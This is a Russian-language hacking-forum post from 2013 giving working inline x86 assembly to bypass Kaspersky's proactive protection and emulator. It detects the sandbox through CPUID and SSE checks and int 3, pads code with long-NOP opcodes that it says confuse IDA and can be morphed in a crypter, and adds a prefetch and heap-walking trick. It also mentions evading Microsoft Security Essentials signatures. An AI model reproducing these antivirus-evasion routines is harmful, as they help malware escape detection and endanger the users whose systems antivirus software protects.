Здесь пойдет речь об обходе каспера. Кому надо редактируйте, имхо это набросок, но рабочий, я не силен в писанине статей, люблю, жесткий кодес, и всё. И так приступим к проактиву каспера....

Вот так определяем его песочницу, ака типа эмулятор
Сначала смотрим CPUID поддержку - в дальнейшем надо будет.

Код (Text):

1. int isCPUIDsupported (void)
2.  
3. {
4.    // returns 1 if CPUID instruction supported on this processor, zero otherwise
5.    // This isn't necessary on 64 bit processors because all 64 bit Intel processors support CPUID
6.   __asm
7.   {
8.        push ecx ; save ecx
9.      pushfd ; push original EFLAGS
10.        pop eax ; get original EFLAGS
11.        mov ecx, eax ; save original EFLAGS
12.      xor eax, 200000h ; flip bit 21 in EFLAGS
13.         push eax ; save new EFLAGS value on stack
14.        popfd ; replace current EFLAGS value
15.         pushfd ; get new EFLAGS
16.      pop eax ; store new EFLAGS in EAX
17.        xor eax, ecx ; Bit 21 of flags at 200000h will be 1 if CPUID exists
18.      shr eax, 21  ; Shift bit 21 bit 0 and return it
19.      push ecx
20.         popfd ; restore bit 21 in EFLAGS first
21.       pop ecx ; restore ecx
22.    }
23. }

Угу -есть... Юзаем Интеловские заморочки.... Проверяем поддержку SSE...

Код (Text):

1. __asm
2.             {
3.                 _emit 0x0F
4.                     _emit 0x1F
5.                     _emit 0x00
6.                     _emit 0x0F
7.                     _emit 0x1F
8.                     _emit 0x00
9.                     mov eax, 0x1
10.                     _emit 0x0F
11.                     _emit 0x1F
12.                     _emit 0x00
13.                     cpuid
14.                     _emit 0x0F
15.                     _emit 0x1F
16.                     _emit 0x00
17.                     test edx, 1<<25
18.                     _emit 0x0F
19.                     _emit 0x1F
20.                     _emit 0x00
21.                     jnz _SSE
22.                     _emit 0x0F
23.                     _emit 0x1F
24.                     _emit 0x00
25.                     int 3 //Вот блин, эмуль, надо бы TF было взвести предварительно ;)
26.                     _emit 0x0F
27.                     _emit 0x1F
28.                     _emit 0x00
29. _SSE:
30.                 _emit 0x0F
31.                     _emit 0x1F
32.                     _emit 0x00
33.                     _emit 0x0F
34.                     _emit 0x1F
35.                     _emit 0x00
36.                     _emit 0x0F
37.                     _emit 0x1F
38.                     _emit 0x00
39.                     _emit 0x0F
40.                     _emit 0x1F
41.                     _emit 0x00
42.             }

Здесь используется Long NOP, который почему то IDA как бы не дизассемблилось (есть еще инварианты, см выше про диван)))
0x0F
0x1F
0x00
Это брат обычного 0x90 NOP, коих модификаций штук 5 -6 в манах Intel.
соответственно данный машинный код можно в крипте расширять/морфить и тд + определение SSE, есть/нет убивает Каспера на прочь. Чем длиннее цепь - тем больше результат. Читайте маны на диване

Ну и до кучи смотрим префетч (кодес взят у Inde) (компиль поругает, но простит) Зато MS Essenciale будет пищать по сигнатурам, по этому берем теже long NOP и морфим их потом перед исполнением (см. часть 2)

Код (Text):

1. __asm
2. {
3. PREFETCHNTA QWORD PTR DS:[EAX]
4. push eax
5. push ss
6. xor eax,eax
7. _emit 0x0F
8. _emit 0x1F
9. _emit 0x00
10. test eax,eax
11. _emit 0x0F
12. _emit 0x1F
13. _emit 0x00
14. pop ss
15. _emit 0x0F
16. _emit 0x1F
17. _emit 0x00
18. jz _LabelOk
19. _emit 0x0F
20. _emit 0x1F
21. _emit 0x00
22. mov eax,[pPEB]
23. mov eax,pPEB.ProcessHeaps[eax]
24. mov eax,dword ptr [eax]
25. _L:
26. add eax,0x1000
27. mov ecx,dword ptr [eax - 4]
28. xor cl,ch
29. cmp cl,0x10
30. jne _L
31. _LabelOk:
32. pop eax
33. }

(с) sysenter 2013
Моему Брату посвящается)